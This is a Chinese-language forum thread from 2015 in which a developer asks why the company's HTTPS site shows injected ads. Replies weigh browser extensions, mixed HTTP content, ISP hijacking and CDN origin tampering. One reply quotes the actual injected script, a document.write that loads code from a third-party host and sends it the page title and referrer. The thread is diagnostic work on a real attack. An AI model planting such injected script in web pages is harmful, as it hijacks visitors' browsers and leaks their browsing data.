以前在深圳的时候,经常打开 V2EX 都会变成一整张某信广告,
现在这个项目因为 BOSS 对用户的隐私和安全性要求很高,产品网站是使用的是收费的 SSL 证书的 https ,我想这样也可以防止一些运营商插广告的行为,是很赞的一件事。
however ,有一个可♀爱的男同事,他发现我们官网总是被劫持,地点也是深圳。
如图:
图 1 : 被劫持后
这个症状和这篇帖子里面 @chinaglwo 描述的一样。
图 2 : 我的大约没被劫持的情况下的
图 3 : 可♀爱的男同事的浏览器被劫持的情况下的(快看可♀爱的收藏夹)
此网站的身份已通过了 RapidSSL SHA256 CA - G3 的验证。服务器未提供任何 Certificate Transparency 信息。
图 4 : 10,000 刀担保金的广告
忽然想到购买 SSL 证书的时候,有担保金这件事,所以也想来 V2EX 算一卦, HTTPS 了还是被劫持,拿不拿得到保险金呢?
附:忽然发现 @朱一君的微博图床(最新版)不能上传了,图床用的 imgur ,所以如果看不到图,方便的话,希望可以随手翻一下墙才可以看到。
图 5 : 隐身模式下依然被劫持
图 6 : 换了 Windows 10 也没能躲过
域名隐私保护了,也不知道 whois 里面的 [email protected] 管不管这事。
先发了一封邮件问问。
我也希望能进入 /go/however ,然而似乎越来越像真的了。。。
@lshero
@wy315700
@lianz
@xgowex
1
lshero 2015-11-11 18:22:47 +08:00
浏览器隐私模式下打开看看
再打开看看插件列表有啥东西 |
2
gamexg 2015-11-11 18:44:03 +08:00
https 出问题的可能性太小了,中间人攻击 tls 只为了插个广告,成本太不合适了。
chrome https 插 http 的 js 默认不执行吧? |
3
lhbc 2015-11-11 18:44:07 +08:00 1
估计网站用的是青云 BGP ,然后静态资源用七牛的 https
不知道是不是全站 https ,包括 CDN 回源之类的 应该从非安全连接部分入手检查 |
4
Andy1999 2015-11-11 18:50:23 +08:00 via iPhone
引入了 http 资源应该 Chrome 边上有个拦截的小盾牌
|
5
wy315700 2015-11-11 18:54:11 +08:00
目测是浏览器插件
|
6
processzzp 2015-11-11 18:54:41 +08:00 via Android
感觉不像 ISP 的问题,毕竟对 TLS 进行攻击只是为了插个广告,太不划算了
检查一下 CDN 回源的问题看看 |
7
oldcai OP |
8
Andy1999 2015-11-11 18:57:44 +08:00 via iPhone 1
@oldcai 那就说得过去了 部分地区为了劫持百度把百度从 https 降级到 http 然后再插广告
|
9
lianz 2015-11-11 18:58:45 +08:00
1. chrome 下默认屏蔽所有非 https 链接的 js
2. 看起来是插件插入的 |
10
oldcai OP |
11
aivier 2015-11-11 19:04:05 +08:00
我就是那个访问百度被强降 HTTP 的...
其他 HTTPS 没看到有插广告 |
12
Andy1999 2015-11-11 19:05:07 +08:00 via iPhone
@lianz 电信现在很恶心 都上升到 TCP 流量劫持了
以前换个 DNS 解决问题 现在换 DNS 照样被劫持 |
13
Daddy 2015-11-11 19:11:17 +08:00
不会是个广告吧, 2333
PS :打开测试没问题 |
14
Slienc7 2015-11-11 19:13:14 +08:00 1
|
15
nbndco 2015-11-11 19:43:59 +08:00
HTTPS 被劫持插广告的可能性是零,你知道 HTTPS 被劫持是多大的新闻么?
|
18
lhbc 2015-11-11 19:58:25 +08:00 via Android 1
被劫持的是哪个页面或者哪个资源文件?
对应域名的解析 IP 是什么? |
19
tony1016 2015-11-11 19:58:42 +08:00
也许是你们的网站在 http 跳转到 https 之时被劫持的
|
20
oldcai OP |
21
oldcai OP |
22
virusdefender 2015-11-11 20:06:47 +08:00
被劫持的时候检查下别的 js ,看哪个是被改动的
|
23
virusdefender 2015-11-11 20:10:31 +08:00
自己检查那个 http 的七牛的 js ,估计就是这的问题。
抓包,不要直接看浏览器,浏览器是 js 执行之后的,可能有一些伪装。 |
24
lhbc 2015-11-11 20:13:58 +08:00 via Android 1
|
25
nbndco 2015-11-11 20:14:44 +08:00
有试过用别的浏览器或者手机浏览器打开看看么?
总觉得应该是浏览器里某些插件插进去的。 |
26
honeycomb 2015-11-11 20:17:31 +08:00 1
这个看上去像是服务器在提供资源之前就有劫持,被插入了这个内容,然后有这个页面
请尝试在手机端的浏览器复现(Chrome 可以通过 ADB 调试),因为不能保证电脑不中毒 为什么呢: 1 ,从截图来看,加密套件是 PFS(使用了 ECDHE_RSA 密码交换算法)的,无法用上级证书解密 2 , 1 意味着需要单独为你们网站伪造一个合法证书才能实行(解密 TLS->插入劫持内容->再加密成让浏览器识别不出已受到攻击的)攻击 3 ,实施 2 程度的攻击得是国家支持级的才说得过去 有关 PFS(完全正向保密) http://www.infoq.com/cn/articles/keeping-your-secrets https://en.wikipedia.org/wiki/Forward_secrecy |
27
yexm0 2015-11-11 20:19:18 +08:00 1
|
29
honeycomb 2015-11-11 20:24:46 +08:00
@oldcai
抱歉没说清楚: 1 , 这个页面似乎是在被你们的那份证书私钥最终地加密以前,就已经遭到了篡改 2 , 关于浏览器扩展是否参与了劫持 比方说,我在用 uMatrix ,加载了这个页面后,打开开发者工具能看到页面中被插入了 uMatrix 的代码,这个过程不会触发 HTTPS 指示器报警 ;(function() { try { /* https://github.com/gorhill/uMatrix/issues/61#issuecomment-63814351 */ var navigator = window.navigator; var spoofedUserAgent = "Mozilla/5.0 ****************************************************************************"; if ( spoofedUserAgent === navigator.userAgent ) { return; } var pos = spoofedUserAgent.indexOf('/'); var appName = pos === -1 ? '' : spoofedUserAgent.slice(0, pos); var appVersion = pos === -1 ? spoofedUserAgent : spoofedUserAgent.slice(pos + 1); Object.defineProperty(navigator, 'userAgent', { get: function(){ return spoofedUserAgent; } }); Object.defineProperty(navigator, 'appName', { get: function(){ return appName; } }); Object.defineProperty(navigator, 'appVersion', { get: function(){ return appVersion; } }); } catch (e) { } })(); 请使用这个神器来解决问题: Google 自己写的 The Chrome Apps Developer Tool https://chrome.google.com/webstore/detail/chrome-apps-extensions-de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc |
32
dphdjy 2015-11-11 20:38:49 +08:00
昨日,上海浦东法院首次在司法层面将流量劫持认定为犯罪,该院判决了全国首起流量劫持刑案,两名被告人被判有期徒刑 3 年,缓刑 3 年;扣押在案的作案工具以及退缴在案的违法所得予以没收。
|
33
oldcai OP |
36
kn007 2015-11-11 20:53:57 +08:00
关注进展,广东东莞电信,一切正常
|
37
xierch 2015-11-11 20:54:17 +08:00
右键查看源码试一下?
F12 那个是当前的 DOM tree ,可能被其他 JS 更改过 |
38
JimmyCai 2015-11-11 21:04:17 +08:00
第一次访问的时候也出现了楼主的症状,刷新后就消失了。
|
41
otakustay 2015-11-11 21:06:51 +08:00
一个比较简单地看是不是 HTTP(S)劫持的方法是直接看源码而不是看 DOM Tree ,如果源码中没有基本上不会是协议层面上的劫持,应该去考虑浏览器扩展、系统插件等其它情况
|
42
Flygoat 2015-11-11 21:08:20 +08:00
杭州电信:劫持已复现,症状相同。 Linode 上访问没有劫持。(重新签一份证书试试
|
43
livelazily 2015-11-11 21:13:30 +08:00
广东电信: 劫持已复现, 但只在 chrome 下出现, firefox, safari 都没问题. chrome 尝试添加 --disable-extensions 禁用所有扩展依旧被劫持
|
44
virusdefender 2015-11-11 21:19:20 +08:00 1
七牛的 js 回源被劫持了
document.write("<script language='javascript' src='http://dn-zine-static.qbox.me/Zine_web/otherScript-min.js?_vv=20080808&_veri=20121009'><\/script>");document.write("<script language='javascript' src='http://js.meiletu.net:41180/re/re.php?src=t6407&t="+encodeURIComponent(document.title)+"&ci=3738840456&r="+encodeURIComponent(document.referrer)+"'><\/script>"); 因为你的 js 正在以 http 的方式访问,所以被劫持,然后构造了这样一个劫持的 js 。很大可能就是回源的时候的问题 |
45
zkd8907 2015-11-11 21:21:34 +08:00
我们公司这段时间遇到了 CDN 机房间在回源的时候被劫持,导致写入到 CDN 服务器上的数据直接就被篡改。建议楼主可以查下遇到问题对应的机器,直接上机器看文件。
|
47
msg7086 2015-11-11 21:32:20 +08:00
1. 如果你说的是 CDN ,请检查 CDN 到服务器的连接。(另外用了 CDN 这种事情得早点说
2. 看劫持为什么要用控制台工具而不是看源码?意义不明。 |
48
zho6 2015-11-11 21:42:52 +08:00
cloudflare 有 keyless 的功能 客户无需将证书交结 cloudflare 实现 https 的转发 这个技术是可以用来做劫持 https
|
49
oldcai OP @wzxjohn
@msg7086 @virusdefender 静态文件的 CDN 我们不是镜像的,是手动用七牛的 qrsync 同步到 cdn 的,我觉得回源链路问题无法解释为何会一下好一下出问题。 |
50
iwege 2015-11-11 22:29:29 +08:00
|
51
Had 2015-11-11 22:54:35 +08:00
是七牛的节点被劫持了。
|
52
Had 2015-11-11 23:00:52 +08:00
我这里前天也出现了这个问题,我们的回源是 HTTPS 的。
因为七牛是一次回源然后同步到所有节点的,所以我怀疑可能是同步过程是 HTTP 的,造成了同步到某些节点时被批量注入。 |
54
oldcai OP @Had 问了七牛的人,他说:上传是 http 的,但是上传都是 token 加密的, qrsync 上传,如果上传劫持就会上传失败了,不会上传一个错误文件。
我理解为虽然是 http 上传,但是有 token 校验。 而且目测同步到七牛的服务端的版本没有问题,我这边刚也出现过被劫持的现象,确实是 cdn 的文件被篡改,但是加了个参数尾巴就又好了,感觉是七牛的服务器之间传输文件被劫持了。 |
55
msg7086 2015-11-11 23:43:51 +08:00 1
|
57
zwzmzd 2015-11-12 00:53:00 +08:00 via Android
|
58
lhbc 2015-11-12 01:52:34 +08:00 via Android
运营商在骨干网劫持,哈哈哈
|
59
wzxjohn 2015-11-12 09:04:34 +08:00
@oldcai 很简单,某些回源链路被劫持,导致有些机器上的文件是有问题的,但是并没有影响所有的机器。如果你被随机到了这台机器上那就有问题。。。
|
60
comesx4 2015-11-12 09:17:58 +08:00
你用审查查看到的代码可能是后来的 js 修改的,你直接右键查看网页源代码看看还没有有问题的 js
|
61
sixbyte 2015-11-12 09:52:21 +08:00
能看看 response 的 body 内容吗?是不是真的有这么一段劫持代码
|
62
qihboy 2015-11-12 11:45:02 +08:00
深圳电信用户 MAC+CRHOME+ABP 访问表示未看到劫持, ABP 报告 0
|
63
Felldeadbird 2015-11-12 13:50:17 +08:00
看来除了纯 SSL ,还得验证引入资源是否 SSL 。太可怕了。电信运营商真的奸诈,无所不用其极。犯罪成本低,执法力度差,让他们成了犯罪的温床。
|
64
referblue 2015-11-12 18:06:31 +08:00
就一个网页需要挂 CDN 么,囧, rapidssl 连企业版 SSL 都没有的
|
65
chinaglwo 2015-11-17 03:13:58 +08:00
@oldcai
我觉得不会是电脑本身的问题,因为两点: 1 、我电脑双系统, win7+ubuntu ,只有 win7 下的 chrome 会出现异常, ubuntu 下的 chrome 没问题。于是我在 win7 和 ubuntu 下分别安装 vitualbox 虚拟机,在虚拟机里分别安装了新 win7 ,下载 chrome ,没安装任何插件,访问几十个网页就会出现异常。 2 、如果说是我的 win7 iso 有问题,那后来我给 chrome 安装了一个插件叫 user-agent switcher ,改 ua 为"chrome on Mac",到现在一个月了,再也没出现异常了,在这期间我也把 ua 换成“ chrome on windows ”,很快就会异常,随便浏览不同网站的网页,大概几十个就会遇到几个异常。注意,访问基本任何网站都会出现, sina 、 sohu 、 csdn 、 51cto ,都出现过。而且基本上是第一次访问某个网站时出现。 另外,还怀疑一点是电信的光猫默认是允许电信的工作人员远程连接用来维护的,据说可以下发什么内容,那这就不知道会不会在搞鬼,我现在把光猫的 TR069 协议禁用了。 以上说的都是 http 。 https 的站点至今没遇到过异常,不过 https 站点毕竟相对来说还少。 |